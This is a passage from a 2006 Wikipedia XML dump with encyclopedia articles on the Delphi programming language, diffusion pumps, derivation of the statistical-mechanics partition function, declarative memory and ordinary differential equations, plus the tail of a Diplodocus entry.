So far Diplodocus is the longest dinosaur found with a complete skeleton at 27m (90 feet).

[[Category:Jurassic dinosaurs]]
[[Category:Sauropods]]

[[bg:Диплодок]]
[[de:Diplodocus]]
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    <title>Dinosauria</title>
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  <page>
    <title>Delphi programming language</title>
    <id>8292</id>
    <revision>
      <id>42054154</id>
      <timestamp>2006-03-03T14:07:39Z</timestamp>
      <contributor>
        <username>Craig Stuntz</username>
        <id>26101</id>
      </contributor>
      <minor />
      <comment>/* Pros and cons */ rv neologism; Google for &quot;prototype polymorphism&quot; produces 7 hits; #1 is this article</comment>
      <text xml:space="preserve">[[Image:Delphi3-4-6.JPG|Right|thumb|350px|Delphi has been released in many versions, including older versions which have been released in magazines for non-profit application use]]&lt;/div&gt; '''Delphi''' is a [[programming language]], first introduced in the [[Borland Delphi|Borland Delphi Integrated Development Environment]] (IDE). The Delphi language, formerly known as ''[[Object Pascal]]'', is a derivative of [[Pascal programming language|Pascal]], with [[object-oriented]] extensions. It originally targeted only [[Microsoft Windows]], but now builds native applications for [[Linux]] and the Microsoft [[.NET Framework]] as well. Through the open source [[Free Pascal]] project, the Delphi language can target even more platforms such as [[Mac OS X]] and [[Windows CE]].

On February 8 [[2006]] it was announced [http://www.borland.com/us/company/news/Tod_Nielsen_customer_shareholder_letter_02-08-06.html ] that [[Borland]] would be divesting itself of their IDE product lines, which includes Delphi. 
==Programming language and toolkit==
The main distinguishing features of Delphi and [[Kylix programming tool|Kylix]] from other IDEs are the Delphi language, the [[Visual Component Library|VCL]]/[[CLX]] (Visual Component Library), strong emphasis on database connectivity, and a large number of third party components.

*delegation of [[interface (computer science)|interface]] implementation to a field or property of the class
*implementation of message handlers by tagging a method of a class with the integer constant of the message to handle
*[[Component object model|COM]] independent interfaces with [[reference counting|reference counted]] class implementations
*can be compiled into native [[x86]] code or managed [[.NET Framework|.NET]] code

==Pros and cons==
Delphi exhibits the following advantages:
*[[Rapid Application Development]] (RAD)
*based on a well-designed language
*a large community on [[Usenet]] and the [[World Wide Web|web]] (e.g. news://forums.borland.com and [http://info.borland.com/newsgroups/ng_delphi.html Borland's web access to Delphi newsgroups])
*can compile to a single executable, simplifying distribution and reducing dll versioning issues
*many VCL and third-party components (usually available with full [[source code]]) and tools (documentation, debug tools, etc.)
*quick optimizing compiler and ability to use assembler code
*multiple platform native code from the same source code
*high level of source compatibility between versions
* [http://crosskylix.untergrund.net/ CrossKylix] - a third-party toolkit which allows you to compile native Kylix/Linux applications from inside the Windows Delphi IDE, hence easily enabling dual-platform development and deployment
* [http://crossfpc.untergrund.net/ CrossFPC] - a sister project to CrossKylix, which enables you to cross-compile your Windows Delphi applications to multi-platform targets - supported by the [[Free Pascal]] compiler - without ever leaving the Delphi IDE
* class helpers to bridge functionality available natively in the Delphi RTL, but not available in a new platform supported by Delphi
The following are disadvantages:
*the language's [[object orientation]] features only class and interface-based [[Polymorphism_in_object-oriented_programming|polymorphism]]
*partial single vendor lock-in (Borland alone can set the language standard, the compatibles have to follow)
*limited cross-platform capability for Delphi itself. Compatibles provide more architecture/OS combinations
*access to platform and third party libraries require header files to be translated to Pascal
*documentation of platforms and techniques hard to find in Pascal language (e.g., access to COM and WIN32, when compared to VB/MSVC)

Trivia:

* The largest software manufacturer in the world, Microsoft, chose the chief programmer of Delphi, [[Anders Hejlsberg]], to develop [[C Sharp|C#]] (based on two of today's most popular programming languages, [[C++]] and [[Java programming language|Java]]), the principal C++/Java-like language for [[Microsoft Windows|Windows']] [[.NET Framework|.NET]] platform.

==Clones and alternatives==
While not being a direct substitute for the entire product Delphi itself, there are a number of efforts that strive to be more or less language compatible and take Delphi code to places where Delphi and Kylix itself can not reach.

These can get Delphi code running in ways not possible with Delphi (such as supporting different operating systems, free distribution and educational use, and allowing examination of the compiler source) and allow for some vendor independence. These are generally used educationally and to get the server parts of Delphi apps running on non-mainstream operating systems; most had Linux support years before Kylix.
*[http://www.bloodshed.net/devpascal.html Bloodshed Dev-Pascal] A very polished graphical 32-bit Windows editor (though not RAD) as a frontend for both GNU Pascal and Free Pascal.
*[[Free Pascal]] A commandline compiler that aims source compatibility with the core feature set of both the Turbo Pascal and Delphi dialects. The current version is 2.0(.2), which are highly Delphi6/7 compatible. Operates on most [[x86]] operating systems. Supports [[Linux]], [[Mac OS]] and [[Mac OS X]] (including an [[Xcode]] implementation) on [[PowerPC family]], and [[Linux]] on [[AMD64]]. [[SPARC]] and [[ARM architecture|Acorn RISC Machine]] (ARM) architectures are working and formally released but not 100% end-user ready yet. 
**[[Lazarus_(software)|Lazarus]] [http://lazarus.freepascal.org] is an effort to build a RAD on top of Free Pascal. The internal classes hierarchy can base itself on several [[Widget_toolkit|graphical toolkits]]. The main toolkits are [[GTK+|GTK1]] and [[Windows API|Win32]], and GTK2 has already come a long way. Occasionally people want [[Qt (toolkit)|Qt]] and [[wxWidgets]], but an apparent lack of interest prevents the implementation of these toolkits. 
**[http://crossfpc.untergrund.net/ CrossFPC] - a free toolkit to integrate the [[Free Pascal]] compiler, targeting various OS and hardware platforms, into the Windows Delphi IDE. See more about it from [http://www.codecomments.com/Kylix/message541921.html this mailing list discussion].
*[http://www.gnu-pascal.de GNU Pascal] (Separately distributed part of the [[GNU Compiler Collection]]) While formally not aimed at the Borland dialects of Pascal, it does contain a Borland Pascal compatibility mode, and is very slowly absorbing Delphi language features, though not yet directly suitable for recompiling large bodies of Delphi code. It is the most prolific compiler in terms of operating systems and processors though, and therefore deserves mentioning as a last resort.
*[http://www.carlo-kok.com/ InnerFuse] is a Delphi interpreter for embedding in applications. It is rumoured to work with several of the alternatives too.
*[http://sibyl.netlabs.org OpenSibyl] is another effort to build a RAD on top of Free Pascal. However it is geared towards OS/2, and still in initial stages.
*[http://www.dcs.gla.ac.uk/~wpc/reports/compilers/compilerindex/Doc2.html Vector Pascal] Vector Pascal is a language targeted at SIMD instruction sets such as the MMX and the AMD 3d Now, supporting all Intel and AMD processors, as well as the Sony Playstation 2 Emotion Engine.
*[[Virtual Pascal]] is a x86 32-bit Turbo Pascal and Delphi compatible compiler mainly aimed at OS/2 and Windows, though it developed a DOS+Extender and an experimental Linux cross-compiler too. The compiler is stuck on the level of about Delphi V2, and the site hasn't changed significantly in two years, and development of Virtual Pascal has stopped.  Nevertheless, of the free alternatives, it is still the one with the best polished IDE and debugger though Free Pascal is getting nearer and nearer.
*[http://www.dwp42.org/ WDOSX] is a [[Windows API|Win32 API]]-emulating [[DOS extender]] that can be used to get Delphi console applications running on plain DOS.
*[http://www.winsoft.sk/pstudio.htm Winsoft Pocket Studio] aims to compile stripped down Delphi code to PDAs.

==Documentation==
Delphi Developer documentation from Borland:
* [http://info.borland.com/techpubs/delphi/ Delphi Developer's Guide]
* Object Pascal Language Guide
**[http://info.borland.com/techpubs/delphi/delphi5/ Delphi 5 &quot;Object Pascal Language Guide&quot;]&amp;nbsp;&amp;nbsp;([ftp://ftp.borland.com/pub/delphi/techpubs/delphi5/oplg.zip PDF], [ftp://ftp.borland.com/pub/delphi/techpubs/delphi5/d5oplr.zip Windows Help])
**[ftp://ftpc.borland.com/pub/delphi/techpubs/delphi1/objlang.zip Delphi 1.0 Object Pascal Language Reference Guide]
**[http://community.borland.com/soapbox/techvoyage/article/1,1795,10280,00.html Object Pascal Style Guide]
* [[Visual component library|VCL]]/[[Component Library for Cross Platform|CLX]] Reference
**[ftp://ftpc.borland.com/pub/delphi/devsupport/general/delphi1/vclref.zip Delphi 1.0 Visual Component Library Reference]
More from [http://info.borland.com/devsupport/delphi/downloads/ Delphi Developer Support] section ([ftp://ftpc.borland.com/pub/delphi/techpubs/ FTP archives]).
*[http://delphiturkiye.gunduz.info/ Turkish Seminar videos,articles and help files]  [http://www.delphiturkiye.com/ Delphi Turkiye] seminar video files, and offline chm forum(help,article etc..)

==External links==

*[http://www.borland.com/us/company/news/Tod_Nielsen_customer_shareholder_letter_02-08-06.html Press Release] Borland to divest itself of Delphi
&lt;!-- Please keep the following list alphabetized.  Thanks! --&gt;
*[http://delphi.about.com About Delphi Programming]
*[http://www.adug.org.au Australian Delphi User Group] &amp;mdash; informative email list
*[http://www.borland.com/delphi/ Borland website - Delphi subsite]
*[http://crossfpc.untergrund.net/ CrossFPC] project to integrate the Free Pascal compiler with multi-platform targets into the Windows Delphi IDE (not yet finished)
*[http://crosskylix.untergrund.net/ CrossKylix] integrates the Linux Kylix compiler into the Windows Delphi IDE
*[http://www.delphi3000.com/ delphi3000.com]
*[http://www.delphibasics.co.uk Delphi Basics] Tutorial and Reference information on the basics of Delphi.
*[http://chuacw.ath.cx/chuacw/ Delphi Developers' Asia and Singapore]
*[http://www.delphigamedev.com delphigamedev.com] Many tutorials on game development with Delphi.
*[http://www.oreilly.com/catalog/delphi/chapter/ch02.html The Delphi Object Model]
*[http://www.delphipages.com/ Delphi Pages]
*[http://delphi.icm.edu.pl/ Delphi Super Page]
*[http://www.Delphi-Central.com/tutorials/ Delphi Tutorials on Delphi Central]
*[http://www.drbob42.com/ Dr. Bob's Delphi, C++Builder and JBuilder Programming Clinic]
*[http://www.freebyte.com/programming/delphi/ Freebyte's Guide to free Delphi programming]
*[http://www.howtodothings.com/ViewSubCategory.aspx?SubCategory=41 How to do things] &amp;mdash; Lots of Delphi articles
*[http://www.lazarus.freepascal.org/ Lazarus] Freepascal based, Cross platform, Free/Opensource, Delphi compatible IDE.
*[[Open Directory Project]]: [http://www.dmoz.org/Computers/Programming/Languages/Delphi/ Delphi]
*[http://www.delphi-jedi.org/ Project JEDI]
*[http://www.swissdelphicenter.com/ SwissDelphiCenter.com] Quality programming tips
*[http://www.torry.net/ Torry's Delphi Pages]
*[http://www.awitness.org/delphi_pascal_tutorial/c++_delphi/class_inheritance.html Translating C++ Code into Delphi Pascal]
*[http://www.delphigamer.com/ Pascal Game Development]
*[http://www.delphiturkiye.com/ Delphi Turkiye] Turkish developer network, forum
*{{wikicities|delphi|The Delphi Wiki}}
*[http://newton.delphigl.de/ Newton Game Dynamics Engine]
*[http://www.delphigl.com/index2.php DelphiGL]

{{Major programming languages small}}

[[Category:Pascal dialects]]
[[Category:Imperative programming languages]]
[[Category:Procedural programming languages]]
[[Category:Algol programming language family]]
[[Category:.NET programming languages]]
[[Category:Object-oriented programming languages]]

[[ar:دلفي]]
[[bg:Delphi]]
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[[da:Delphi]]
[[de:Delphi (Programmiersprache)]]
[[es:Lenguaje de programación Delphi]]
[[fi:Delphi]]
[[fr:Delphi]]
[[id:Delphi]]
[[it:Delphi]]
[[ja:Delphi]]
[[ko:델파이 프로그래밍 언어]]
[[nl:Delphi (ontwikkelomgeving)]]
[[pl:Delphi]]
[[ro:Delphi (limbaj de programare)]]
[[ru:Delphi (язык программирования)]]
[[sk:Delphi (programovací jazyk)]]
[[sl:Delphi (programski jezik)]]
[[sv:Delphi (programspråk)]]
[[zh:Delphi]]</text>
    </revision>
  </page>
  <page>
    <title>Diffusion pump</title>
    <id>8293</id>
    <revision>
      <id>41285331</id>
      <timestamp>2006-02-26T07:37:01Z</timestamp>
      <contributor>
        <username>Arnero</username>
        <id>233665</id>
      </contributor>
      <text xml:space="preserve">[[ja:&amp;#25313;&amp;#25955;&amp;#12509;&amp;#12531;&amp;#12503;]]

'''Diffusion pumps''' are a type of [[vacuum pump]] designed to achieve better vacuum pressures than possible by use of mechanical pumps alone.  They use a high speed jet of fluid to direct residual gas [[molecule]]s in the pump throat down into the bottom of the pump and out the exhaust.  The high speed jet is generated by boiling the fluid (typically silicone oil) and directing the vapor through a multistage jet assembly.  Often several jets are used in series to enhance the pumping action.  The outside of the diffusion pump is cooled using either air flow or a water line.  As the vapor jet impacts the outer cooled shell of the diffusion pump the gas entrained in the jet flow coalesces, carrying the entrained pumped gases into the base of the pump where the gas pressure is increased and pumped by the secondary mechanical or rough pump from the diffusion pump outlet.

Unlike mechanical pumps, diffusion pumps have no moving parts and as a result are quite durable and reliable.  They can function over pressures ranges of 10&lt;sup&gt;-8&lt;/sup&gt; to 1 pascals. They are driven only by [[convection]] and thus have a very low efficiency. Diffusion pumps cannot discharge directly into the atmosphere, so a mechanical forepump is typically used to maintain an outlet pressure around 10 pascals.

One major disadvantage of diffusion pumps is the tendency to backstream oil into the vacuum chamber.  This oil can contaminate surfaces inside the chamber or upon contact with hot filaments or electrical discharges may result in carbonaceous or siliceous deposits.  Due to backstreaming, diffusion pumps are not suitable for use with highly sensitive analytical equipment or other applications which require an extremely clean vacuum environment. Often [[cold trap]]s and baffles are used to minimize backstreaming, although this results in some loss of pumping ability.

==Compressed-air vacuum pumps==

One class of diffusion vacuum pumps is the multistage compressed-air driven ejector, as marketed by the Piab company.  It is very popular in applications where objects are moved around using suction cups and vacuum lines.

==Steam ejectors==

The steam ejector is a popular form of diffusion pump for vacuum [[distillation]] and [[freeze-drying]].  A jet of steam entrains the vapour that must be removed from the vacuum chamber.  Steam ejectors can have a single or multiple stages, with and without [[Condenser (steam turbine)|condensers]] in between the stages.

== See also ==

* [[Vacuum pump]]

==External links==

* [http://www.piab.com/ Piab company website]
* [http://www.croll.com/_website/pr/vetheory.asp Croll Reynolds page on steam ejector theory]

[[Category:Pumps]]
[[Category:Vacuum]]

[[he:משאבת דיפוזיה]]</text>
    </revision>
  </page>
  <page>
    <title>Derivation of the partition function</title>
    <id>8294</id>
    <revision>
      <id>41342096</id>
      <timestamp>2006-02-26T18:45:52Z</timestamp>
      <contributor>
        <username>HappyVR</username>
        <id>910297</id>
      </contributor>
      <minor />
      <text xml:space="preserve"> {{attention}} 

In [[statistical mechanics]], the '''[[Partition function (statistical mechanics)|partition function]]''' provides a link between the microscopic properties of atoms and molecules (e.g. size, shape and characteristic energy levels) and the bulk [[thermodynamic]] properties of matter. In order to understand the partition function, how it can be derived, and why it works, it is important to recognize that these bulk [[thermodynamic]] properties reflect the average behavior of the atoms and molecules.  For example, the pressure of a gas is really just the average force per unit area exerted by its particles as they collide with the container walls.  It doesn't matter which particular particles strike the wall at any given time or even the force with which a given particle strikes the wall.  In addition it is not necessary to consider the fluctuations in pressure as different numbers of particles hit the walls, since the magnitude of these fluctuations is likely to be extremely small.  Only the average force produced by all the particles over time is important in determining the pressure.  Similarly for other properties, it is the average behavior that is important. The partition function provides a way to determine the most likely average behavior of atoms and molecules given information about the microscopic properties of the material.

In order to derive the partition function, consider a system composed of ''N'' molecules.  Although the system has a constant total energy of ''E'', the energy may be distributed among the molecules in any number of ways.  As molecules interact, the energy is continually redistributed.  Not only is energy exchanged between molecules, but between the various modes of motion (e.g. rotation, vibration, etc...).  Instead of attempting to determine the energy of each individual molecule at every instant in time, we instead focus on the population of each energetic state.  In other words, we would like to determine on average how many molecules, ''n&lt;sub&gt;i&lt;/sub&gt;'', are in a particular energetic state, ''E&lt;sub&gt;i&lt;/sub&gt;''.  Over time the population of each state remains almost constant, although the individual molecules in each state may change at every collision.

In order to proceed we assume the [[ergodic hypothesis]].  This means that we assume that all states corresponding to a given energy are [[principle of indifference|equally probable]]. (If there are other conserved quantities like particle number, this assumption becomes all states corresponding to a given energy and particle number/charge, and a similar derivation would lead to [[chemical potential]]s, [[electric potential]]s and the like) For example, vibrational states of a given energy are just as likely to be populated as rotational or electronic states of the same energy.  We also assume that the molecules are independent in the sense that the total energy of the system is equal to the sum of the energies of each individual particle.  

At any instant there will be ''n''&lt;sub&gt;0&lt;/sub&gt; molecules in the state with energy ''E''&lt;sub&gt;0&lt;/sub&gt;, ''n''&lt;sub&gt;1&lt;/sub&gt; with ''E''&lt;sub&gt;1&lt;/sub&gt;, and so on.  The complete specification of populations ''n''&lt;sub&gt;0&lt;/sub&gt;, ''n''&lt;sub&gt;1&lt;/sub&gt;, ... for each energy state gives the instantaneous ''configuration'' of the system.  For convenience we may write a particular configuration as {''n''&lt;sub&gt;0&lt;/sub&gt;, ''n''&lt;sub&gt;1&lt;/sub&gt;, ... }. We'll also take ''E''&lt;sub&gt;0&lt;/sub&gt; to correspond to the lowest energy level or the ground state.

A large number of configurations are possible.  For instance one possible configuration is {''N'', 0, 0, ...} with all of the molecules in the ground state, ''E''&lt;sub&gt;0&lt;/sub&gt;.  Another possible configuration could be {''N''&amp;nbsp;&amp;minus;&amp;nbsp;1, 1, 0, ...}, where one of the molecules is in the excited state, ''E''&lt;sub&gt;1&lt;/sub&gt;.  Of these two configurations, the second is much more likely, since any of the ''N'' molecules could be in the excited state resulting in a total of ''N'' possible arrangements of molecules.  On the other hand there is only one possible way to get the first configuration, since all of the molecules must be in the ground state.  If the system were free to fluctuate between these two states, we would expect to find it most frequently in the second state, especially for large values of ''N''. Since the system would most often be found in the second state, we would also expect the characteristics of the system to be dominated by the characteristics of that state.

The number of arrangements, ''W'', corresponding to a given configuration {''n''&lt;sub&gt;0&lt;/sub&gt;, ''n''&lt;sub&gt;1&lt;/sub&gt;, ...} is given by:

:&lt;math&gt;W = \frac{N!}{n_0 !n_1 !n_2 !...}\qquad\qquad\qquad(1)&lt;/math&gt;   

This expression comes from [[combinatorics]] (and is applied in [[probability theory]]) and corresponds to the number of distinguishable ways ''N'' objects can be sorted into bins with ''n&lt;sub&gt;i&lt;/sub&gt;'' objects in bin ''i''.  

When working with large numbers it is often convenient to work with ln(''W'') instead of ''W'' itself.  For this case:

:&lt;math&gt;\begin{matrix}\ln W 
&amp;=&amp; \ln \frac{N!}{n_0 !n_1 !n_2 !...} \ \qquad\qquad\qquad \\ \\ \ 
&amp;=&amp; \ \ln N! - \ln(n_0 !n_1 !n_2 !...) \ \qquad\qquad \\ \\ \ 
&amp;=&amp; \ \ln N! - \sum_{i=0}^m \ln n_i! \ \qquad\qquad(2)\end{matrix}&lt;/math&gt;

Applying [[Stirling's formula|Stirling's approximation]], 

:&lt;math&gt;\ln n! \approx n\ln n - n&lt;/math&gt; 

and the fact that 

:&lt;math&gt;N = \sum n_i&lt;/math&gt;

gives

:&lt;math&gt;\begin{matrix}\ln W 
&amp;=&amp; \ N \ln N - N - \sum (n_i \ln n_i - n_i) \ \qquad\qquad  \\ \\ \ 
&amp;=&amp; \ N \ln N - \sum (n_i \ln n_i) \ \qquad\qquad(3)\end{matrix}&lt;/math&gt;

We showed previously that the configuration {''N''&amp;nbsp;&amp;minus;&amp;nbsp;1, 1, 0, ...} dominates {''N'', 0, 0, ...} because there are more ways to obtain it.  We would expect there to be other configurations that dominate both of these.  In fact we would expect the configuration with the largest value of ''W'' to dominate all other configurations.  We can find this dominant configuration by finding the maximum of the function ''W'' with respect to ''n&lt;sub&gt;i&lt;/sub&gt;''.  We know that when ''W'' is a maximum then ln(''W'') is also a maximum, so for convenience we will instead try to find the maximum of ln(''W'').

One way to find the maximum of ln(''W'') is to solve the equation:

:&lt;math&gt; \frac{\partial \ln(W)}{\partial n_i} = 0\qquad\qquad\qquad(4)&lt;/math&gt;

However, Equation (4) applies to the situation in which any arbitrary configuration {''n''&lt;sub&gt;0&lt;/sub&gt;, ''n''&lt;sub&gt;1&lt;/sub&gt;,...} is possible. In reality there are a few constraints on the system that must be accounted for.  First, since the total number of molecules is fixed at ''N'', not all values of ''n&lt;sub&gt;i&lt;/sub&gt;'' can be arbitrary.  Instead only configurations in which:

:&lt;math&gt;N = \sum n_i\qquad\qquad\qquad(5)&lt;/math&gt;

are possible.  Also, the total energy of the system is fixed at ''E''.  Therefore, since the total energy is the sum of the energies of all the individual molecules:

:&lt;math&gt;E = \sum n_i E_i\qquad\qquad\qquad(6)&lt;/math&gt;

We can find the maximum of ln(''W'') subject to the constraints  on ''N'' and ''E'' expressed in equations (5) and (6) using the method of [[Lagrange multiplier]]s as follows.  First, we must rearrange the constraint equations as:

:&lt;math&gt;N - \sum n_i = 0 \quad\mbox{and}\quad E - \sum n_i E_i = 0\qquad\qquad\qquad(7)&lt;/math&gt;

Next, we create a new function by multiplying the constraints by the arbitrary constants &amp;minus;&amp;alpha;' and &amp;beta;, and adding them to the original function, ln(''W''), to get:

:&lt;math&gt;\begin{matrix}f(n_i) 
&amp;=&amp; \ln(W) - \alpha'\left(N-\sum n_i\right) 
           + \beta\left(E-\sum n_i E_i\right)\qquad\qquad\qquad \\ \\
&amp;=&amp; N \ln N - \sum n_i\ln n_i
            - \alpha'\left(N-\sum n_i\right) 
            + \beta\left(E-\sum n_i E_i\right)\qquad(8) \end{matrix}&lt;/math&gt;

Taking the derivative of Equation (8) and setting the result to zero gives:
:&lt;math&gt;\frac{\partial f(n_i)}{\partial n_i} = -\left(1 + \ln(n_i)\right) + \alpha' - \beta E_i = 0\qquad\qquad\qquad(9)&lt;/math&gt;

We define a new parameter &amp;alpha; = &amp;alpha;'&amp;nbsp;&amp;minus;&amp;nbsp;1, giving:

:&lt;math&gt;-\ln\left(n_i\right) + \alpha - \beta E_i = 0&lt;/math&gt;

Solving this for ''n&lt;sub&gt;i&lt;/sub&gt;'' gives the most probable population of state ''E&lt;sub&gt;i&lt;/sub&gt;'':

:&lt;math&gt;n_i = \exp(\alpha - \beta E_i)\qquad\qquad\qquad(10)&lt;/math&gt;

Finally, we must evaluate the constants &amp;alpha; and &amp;beta;.  Substituting Equation (10) back into Equation (5)  and solving for exp(&amp;alpha;) gives:

:&lt;math&gt; N = \sum n_i = \exp(\alpha)\sum\exp(-\beta E_i)&lt;/math&gt;

:&lt;math&gt; \exp(\alpha)= \frac{N}{\sum\exp(-\beta E_i)}&lt;/math&gt;

Changing the subscript to ''j'' and substituting this result back into Equation (10) gives the [[Maxwell-Boltzmann distribution]]:

:&lt;math&gt;n_i = \frac{N \exp(-\beta E_i)}{\sum\exp(-\beta E_j)}\qquad\qquad\qquad(11)&lt;/math&gt;
The Boltzmann distribution gives the most probable energy distribution of molecules in a system.  It can further be shown that &amp;beta; = 1/''kT'', where ''k'' is Boltzmann's constant and ''T'' is the absolute temperature (given in [[kelvin]]s).  The term in the denominator is called the partition function and is defined as follows:

: &lt;math&gt;Z = \sum_j \exp\left(\frac{-E_j}{kT}\right)&lt;/math&gt;

The partition function provides a measure of the total number of energetic states that are accessible at a particular temperature and can be related to many different thermodynamic properties (see [[statistical mechanics]]).

== [[Canonical ensemble]] derivation==
The previous derivation is too restricted. Because of its assumption of the independence of the molecules, it only really applies to [[ideal gas]]es. In the following derivation, we assume the system is immersed in a &quot;heat bath&quot; environment with no transfer of matter across the boundary. The environment is assumed to be so much larger than the system that a huge influx of heat (energy) across the boundary in either direction would affect the system a lot but create very little of a change in its environment. Let's call the system ''S'' and the environment ''V'', the energy of the system ''E&lt;sub&gt;S&lt;/sub&gt;'' and the energy of the environment E&lt;sub&gt;V&lt;/sub&gt;. The conservation of energy tells us ''E'' = ''E&lt;sub&gt;S&lt;/sub&gt;''&amp;nbsp;+&amp;nbsp;''E&lt;sub&gt;V&lt;/sub&gt;'' is conserved. Suppose the states of the system have energies ''E&lt;sub&gt;i&lt;/sub&gt;'' for the ''i''&lt;sup&gt;th&lt;/sup&gt; state. The corresponding case for a continuum of states is similar in argument. Because the environment is so huge, even if its energy spectrum is discrete, the spacing between its energy levels is so small that for all intents and purposes, we can treat it as a continuum. So, let ''W''(''E&lt;sub&gt;V&lt;/sub&gt;'') give the number of environmental states with energies between ''E&lt;sub&gt;V&lt;/sub&gt;'' and ''E&lt;sub&gt;V&lt;/sub&gt;''&amp;nbsp;+&amp;nbsp;''dE'' divided by ''dE''. It is a general statistical observation that at least for tiny changes in energy (and because the environment is so huge, even what is considered an extremely, extremely huge energy transfer for the system, is still tiny for the environment) tends to vary exponentially with ''E''. So, since the environment is so huge,

:&lt;math&gt;\ln[W(E_V)] = \ln[W(E-E_S)]\approx \ln[W(E)]-E_S\left.{d \ln[W]\over dE'}\right|_{E'=E}&lt;/math&gt;

as ''E&lt;sub&gt;S&lt;/sub&gt;'' varies over the entire range of energies the system can take without having astronomically tiny probabilities.

So, essentially, assuming [[ergodicity]], the probability of the system being in state ''i'' is proportional to

:&lt;math&gt;W(E-E_i)&lt;/math&gt;

which in turn is proportional to

:&lt;math&gt;e^{-E_i\left.{d \ln[W]\over dE'}\right|_{E'=E}}&lt;/math&gt;.

Let us call &lt;math&gt;\left.{d \ln[W]\over dE'}\right|_{E'=E}&lt;/math&gt; &amp;beta;. Note that this is purely a property of the environment. Then,

:&lt;math&gt;P_i\propto e^{-\beta E_i}&lt;/math&gt;

==[[Grand canonical ensemble]] derivation==
Now assume both energy and matter can be exchanged with the once again very huge environment. Then, using the same arguments,

:&lt;math&gt;\ln[W(E_V,N_V)]\approx \ln[W(E,N)]-E_S\left.{\partial \ln W\over \partial E}\right|_{E, N}-\sum_a N_a\left.{\partial \ln[W]\over \partial N_a}\right|_{E,N}&lt;/math&gt;

assuming particle number is conserved (otherwise, we would have ergodicity with respect to particle number). Particle numbers are always integral, but it still turns out this approximation is always valid for cases of interest.

As before, call &lt;math&gt;\left.{\partial \ln W\over \partial E}\right|_{E, N}&lt;/math&gt; &amp;beta; and &lt;math&gt;N_a\left.{\partial \ln[W]\over \partial N_a}\right|_{E,N}&lt;/math&gt; -&amp;beta;&amp;mu;&lt;sub&gt;a&lt;/sub&gt; (the [[chemical potential]]) and note these are solely the property of the environment.

:&lt;math&gt;P_i\propto e^{-\beta\left(E_i-\sum_a \mu_a N_{ia}\right)}&lt;/math&gt;.

Let's get back to the probability distribution of a molecule. As long as it doesn't interact too strongly with the other molecules (i.e. it's in a gas) we can assume the particle is a system and the rest of the gas is the reservoir. This leaves us with the same [[Boltzmann distribution]]. However, even for a nonideal gas, the energy is not simply the sum of the energy of the particle with the energy of the rest of the system because there are interaction terms, rendering the Boltzman distribution incorrect for the particle, even though it still continues to hold for the system as a whole.  

Actually, the assumption of a very huge reservoir is often overkill as long as the number of molecules in the system is astronomical. It turns out for these systems, the number of states of the system at a given energy varies exponentially with energy and the number of particles. So, the range of values over which P&lt;sub&gt;i&lt;/sub&gt; has appreciable value is often much smaller than E&lt;sub&gt;S&lt;/sub&gt; and N&lt;sub&gt;S&lt;/sub&gt; by many orders of magnitude. So, oftentimes, a reservoir much smaller than the system can work.

[[Category:Statistical mechanics]]</text>
    </revision>
  </page>
  <page>
    <title>Declarative memory</title>
    <id>8295</id>
    <revision>
      <id>40470598</id>
      <timestamp>2006-02-20T20:19:19Z</timestamp>
      <contributor>
        <username>Srknc</username>
        <id>964646</id>
      </contributor>
      <comment>/* See also */</comment>
      <text xml:space="preserve">'''Declarative memory''' is the aspect of [[memory]] that stores [[fact]]s and [[event]]s. It applies to standard [[textbook]] [[learning]] and [[knowledge]], and is contrasted with [[procedural memory]], which applies to skills.

Declarative memory is subject to [[forgetting]], but frequently-accessed memories can last indefinitely. Declarative memories are best established by using [[active recall]] combined with [[mnemonic techniques]] and [[spaced repetition]].

Declarative memory can be divided into [[episodic memory]] (knowledge about the event of learning something) and [[semantic memory]] (knowledge independent of context).

Declarative memory requires the hippocamous and related areas of the cortex


==See also==

* [[Propositional knowledge]]
* [[Procedural memory]]

[[Category:Memory]]

[[fi:Deklaratiivinen muisti]]</text>
    </revision>
  </page>
  <page>
    <title>Ordinary differential equation</title>
    <id>8297</id>
    <revision>
      <id>41801497</id>
      <timestamp>2006-03-01T21:12:45Z</timestamp>
      <contributor>
        <ip>128.189.215.184</ip>
      </contributor>
      <comment>Minor formatting fix</comment>
      <text xml:space="preserve">:'''''ODE''' redirects here. For the real-time physics engine, see [[open dynamics engine]].''

In [[mathematics]], and particularly in [[mathematical analysis|analysis]], an '''ordinary differential equation''' (or '''ODE''') is a relation that contains functions of only one independent variable, and one or more of its derivatives with respect to that variable. See [[differential calculus]] and [[integral calculus]] for basic calculus background.


Many scientific theories can be expressed clearly and concisely in terms of ordinary differential equations. For instance, the law for radioactive decay of a single isotope of an element, states that its rate of loss of mass is proportional to its mass. If ''t'' represents time and ''u(t)'' represents the mass of the isotope at time ''t'', then the law for decay states that

:&lt;math&gt;\frac{du}{dt} = -\alpha u\,&lt;/math&gt;

where &lt;math&gt;\alpha&lt;/math&gt; is a constant that depends upon the particular isotope. 

Another example of an ordinary differential equation is Newton's second law of motion of a single particle, which states that ''f = ma'', where ''f'' is an applied force, ''m'' is the mass of the particle, and ''a'' is the acceleration of the particle due to the force. If motion is constrained to a straight line, the coordinate ''t'' measures the time elapsed and the unknown function ''u(t)'' specifies the position of the particle along the line, then the velocity  of the particle ''v'' is given by the first derivative of ''u'' with respect to ''t'':

:&lt;math&gt;v=\frac{du}{dt}\,&lt;/math&gt;.

Similarly, the acceleration of the particle ''a'' is given by the second derivative of ''u'':

:&lt;math&gt;a = \frac{dv}{dt} = \frac{d^2 u}{dt^2}\,&lt;/math&gt;.

Thus Newton's second law implies the differential equation

:&lt;math&gt;m \frac{d^2 u}{dt^2} = f(u)\,&lt;/math&gt;.

In general, the force depends upon the position of the particle, and thus the unknown function ''u'' appears on both sides of the differential equation, as is indicated in the notation ''f(u)''. 

Important theorems in the field of ODEs include broad existence and uniqueness theorems and for ODEs in the plane, the [[Poincaré-Bendixson theorem]].

==Definition==

Let ''y'' represent an unknown function of ''x'', and let

:&lt;math&gt;y', y'',\ \dots,\ y^{(n)}&lt;/math&gt;

denote the [[derivative]]s 

:&lt;math&gt;\frac{dy}{dx},\ \frac{d^{2}y}{dx^2},\ \dots,\ \frac{d^{n}y}{dx^{n}}.&lt;/math&gt;

An '''ordinary differential equation''' (ODE) is an equation involving 

:&lt;math&gt;x,\ y,\ y',\ y'',\ \dots .&lt;/math&gt;

The '''order''' of a differential equation is the order ''n'' of the highest derivative that appears.  If the highest derivative appears only in integer powers, then the '''degree''' of the equation is the highest power of the highest derivative. 

